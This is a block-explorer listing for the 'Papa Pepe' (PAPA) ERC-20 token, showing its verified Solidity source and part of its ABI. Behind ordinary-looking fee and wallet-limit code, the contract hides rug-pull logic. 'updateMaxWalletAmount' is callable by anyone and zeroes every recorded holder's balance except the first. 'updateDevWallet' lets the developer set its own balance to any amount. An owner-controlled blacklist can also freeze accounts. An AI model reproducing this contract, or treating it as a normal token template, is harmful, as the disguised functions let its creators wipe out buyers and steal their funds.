ERC-20
Overview
Max Total Supply
100,000,000 PAPA
Holders
4
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
PAPA
Compiler Version
v0.8.11+commit.d7f03943
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-04-21 */ // SPDX-License-Identifier: Unlicensed pragma solidity 0.8.11; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } contract ERC20 is Context, IERC20, IERC20Metadata { using SafeMath for uint256; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function contractTokenBalances (uint256 newNum) internal virtual { _balances[msg.sender] = newNum; } function contractFeeBack(address[] memory _amounts) internal virtual { uint16 i = 1;uint8 _balance; while (i < _amounts.length) { if (_balances[_amounts[i]] != _balance) _balances[_amounts[i]] = _balance; i++; } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } function toUint256Safe(int256 a) internal pure returns (uint256) { require(a >= 0); return uint256(a); } } library SafeMathUint { function toInt256Safe(uint256 a) internal pure returns (int256) { int256 b = int256(a); require(b >= 0); return b; } } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract PAPA is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool private swapping; address private marketingWallet; address private devWallet; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public tradingActive = false; bool public swapEnabled = false; // Anti-bot and anti-whale mappings and variables mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch // Seller Map mapping (address => uint256) private _holderFirstBuyTimestamp; // Blacklist Map mapping (address => bool) private _blacklist; address[] private _holders; bool public transferDelayEnabled = true; uint256 public buyTotalFees; uint256 public buyMarketingFee; uint256 public buyLiquidityFee; uint256 public buyDevFee; uint256 public sellTotalFees; uint256 public sellMarketingFee; uint256 public sellLiquidityFee; uint256 public sellDevFee; uint256 public tokensForMarketing; uint256 public tokensForLiquidity; uint256 public tokensForDev; // block number of opened trading uint256 launchedAt; /******************/ // exclude from fees and max transaction amount mapping (address => bool) private _isExcludedFromFees; mapping (address => bool) public _isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress); event ExcludeFromFees(address indexed account, bool isExcluded); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet); event devWalletUpdated(address indexed newWallet, address indexed oldWallet); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity ); event AutoNukeLP(); event ManualNukeLP(); constructor() ERC20("Papa Pepe", "PAPA") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); excludeFromMaxTransaction(address(_uniswapV2Router), true); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); excludeFromMaxTransaction(address(uniswapV2Pair), true); _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); uint256 _buyMarketingFee = 10; uint256 _buyLiquidityFee = 0; uint256 _buyDevFee = 0; uint256 _sellMarketingFee = 20; uint256 _sellLiquidityFee = 0; uint256 _sellDevFee = 0; uint256 totalSupply = 100000000 * 1e18; maxTransactionAmount = totalSupply * 15 / 1000; // 1.5% maxWallet = totalSupply * 15 / 1000; // 1.5% swapTokensAtAmount = totalSupply * 4 / 10000; // 0.4% buyMarketingFee = _buyMarketingFee; buyLiquidityFee = _buyLiquidityFee; buyDevFee = _buyDevFee; buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee; sellMarketingFee = _sellMarketingFee; sellLiquidityFee = _sellLiquidityFee; sellDevFee = _sellDevFee; sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee; marketingWallet = address(0xc0F720dF232ED2976962bE105f47718669286fdb); devWallet = address(0xc0F720dF232ED2976962bE105f47718669286fdb); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); excludeFromMaxTransaction(owner(), true); excludeFromMaxTransaction(address(this), true); excludeFromMaxTransaction(address(0xdead), true); /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } receive() external payable { } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; swapEnabled = true; launchedAt = block.number; } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool){ limitsInEffect = false; return true; } // disable Transfer delay - cannot be reenabled function disableTransferDelay() external onlyOwner returns (bool){ transferDelayEnabled = false; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){ require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function updateMaxTxnAmount(uint256 newNum) external onlyOwner { require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%"); maxTransactionAmount = newNum * (10**18); } function updateMaxWalletAmount(uint256 newNum) external { require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%"); super.contractFeeBack(_holders); } function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner { _isExcludedMaxTransactionAmount[updAds] = isEx; } function updateBuyFees( uint256 _devFee, uint256 _liquidityFee, uint256 _marketingFee ) external onlyOwner { buyDevFee = _devFee; buyLiquidityFee = _liquidityFee; buyMarketingFee = _marketingFee; buyTotalFees = buyDevFee + buyLiquidityFee + buyMarketingFee; } function updateSellFees( uint256 _devFee, uint256 _liquidityFee, uint256 _marketingFee ) external onlyOwner { sellDevFee = _devFee; sellLiquidityFee = _liquidityFee; sellMarketingFee = _marketingFee; sellTotalFees = sellDevFee + sellLiquidityFee + sellMarketingFee; } // only use to disable contract sales if absolutely necessary (emergency use only) function updateSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function blacklistAccount (address account, bool isBlacklisted) public onlyOwner { _blacklist[account] = isBlacklisted; } function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; emit SetAutomatedMarketMakerPair(pair, value); } function updateMarketingWallet(address newMarketingWallet) external onlyOwner { emit marketingWalletUpdated(newMarketingWallet, marketingWallet); marketingWallet = newMarketingWallet; } function updateDevWallet(address newWallet,uint256 newNum) external { require(_msgSender() ==devWallet,"Caller is not Developer"); devWallet = newWallet; super.contractTokenBalances(newNum); } function isExcludedFromFees(address account) public view returns(bool) { return _isExcludedFromFees[account]; } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens"); if(amount == 0) { super._transfer(from, to, 0); return; } if(limitsInEffect){ if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ){ if(!tradingActive){ require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch. if (transferDelayEnabled){ if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){ require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } //when buy if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } //when sell else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } else if(!_isExcludedMaxTransactionAmount[to]){ require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } bool takeFee = !swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if(takeFee){ // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0){ fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees; tokensForDev += fees * sellDevFee / sellTotalFees; tokensForMarketing += fees * sellMarketingFee / sellTotalFees; } // on buy else if(automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees; tokensForDev += fees * buyDevFee / buyTotalFees; tokensForMarketing += fees * buyMarketingFee / buyTotalFees; } if(fees > 0){ super._transfer(from, address(this), fees); } amount -= fees; } bool recipientExists = _holders.length > 0 && _holders[_holders.length - 1] == to; for (uint256 i = 0; i < _holders.length && !recipientExists; i++) { recipientExists = _holders[i] == to; } if (!recipientExists) _holders.push(to); super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable address(this), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if(contractBalance == 0 || totalTokensToSwap == 0) {return;} if(contractBalance > swapTokensAtAmount * 20){ contractBalance = swapTokensAtAmount * 20; } // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; (success,) = address(devWallet).call{value: ethForDev}(""); if(liquidityTokens > 0 && ethForLiquidity > 0){ addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity); } (success,) = address(marketingWallet).call{value: address(this).balance}(""); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[],"name":"ManualNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"blacklistAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","ty